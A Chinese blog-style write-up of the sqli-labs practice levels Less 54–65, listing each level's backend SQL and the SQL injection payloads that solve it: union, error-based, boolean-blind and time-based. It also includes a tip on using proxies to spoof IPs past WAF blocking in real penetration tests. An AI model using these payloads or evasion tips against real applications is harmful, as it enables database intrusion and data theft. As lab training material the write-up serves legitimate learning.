0x01:前言

从less 54开始,主要就到了一个进阶的学习,以后的关卡或许限制输入次数或许存在waf,相当于综合性考验。虽然图片显示有75关之多,但是只有65之前是有代码的。这里可能是项目主人接下来的计划。

0x02:开始练习

56、Less 54

由于本关设置输入10次后表名和密码会自动变化,所以我们必须在10次payload内得到密码并提交。由于这一关可以使用报错注入,所以10次绰绰有余

首先我们已经知道数据库名为challenges,测试注入类型后,接下来查询所有表

payload:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

这里我们得到了表名,也就是这一串字符。然后查询所有的列:

payload:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='BCJHWAWV6I' --+

得到列后,查询所有字段内容

payload:?id=-1' union select 1,2,group_concat(id,sessid,secret_Q2M1,tryy) from BCJHWAWV6I --+

结果由于都是字符无法分清哪一段是密码,所以猜测密码在字段 secret_Q2M1 ,payload:?id=-1' union select 1,2,group_concat(secret_Q2M1) from BCJHWAWV6I --+

在实际的渗透测试中,这种情况很可能就是服务端存在waf等安全设备在封堵ip,我们可以使用代理伪造ip地址进行突破限制。

57、Less 55

本关的sql语句为:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

所以与less 54相比,只需使用括号闭合即可

payload: ?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

58、Less 56

本关的sql语句为:

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

所以只需要闭合')即可

payload: ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

59、Less 57

本关的sql语句为:

$id= '"'.$id.'"';

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

且代码对mysql_error进行了注释,所以不会有错误回显,但是依然可以使用fuzz的方式测出后端代码。

payload:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

60、Less 58

使用联合查询报错注入,前台并未返回数据,因为代码限制了返回的数据。也就是说只能返回unames和pass数组的值。

但是由于未注释mysql_error()函数,所以可以使用基于报错的盲注进行注入,payload:

?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

61、Less 59

本关与less 58基本相同,区别在于sql语句为数字型注入,所以payload:

?id=-1 union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

62、Less 60

本关与less 58差别在于sql语句使用了双引号括号包裹参数id,所以payload: ?id=-1") union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

63、Less 61

本关与less 58差别在于sql语句使用了单引号括号括号包裹参数id,也就是两个括号,其实我没见过这么丧心病狂的括号,所以payload: ?id=-1')) union select 1,count(*),concat(0x3a,0x3a,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+

64、Less 62

本关由于错误不回显,所以只能使用基于布尔的盲注和基于时间的盲注。

如payload:?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>71 --+

payload:?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+

65、Less 63

本关与less 62基本一致,sql语句为:

$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

所以payload: ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>71 --+

或者: ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+

66、Less 64

本关sql语句为:

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

其他与less 62相同,所以构造payload:

?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+

67、Less 65

本关sql语句为:

$id = '"'.$id.'"';

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

可见此处对id做了双引号括号处理,所以构造payload:

?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))=71,sleep(3),1) --+

0x03:结语

来来去去一个月,终于好好做了一遍。xss我来了!!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注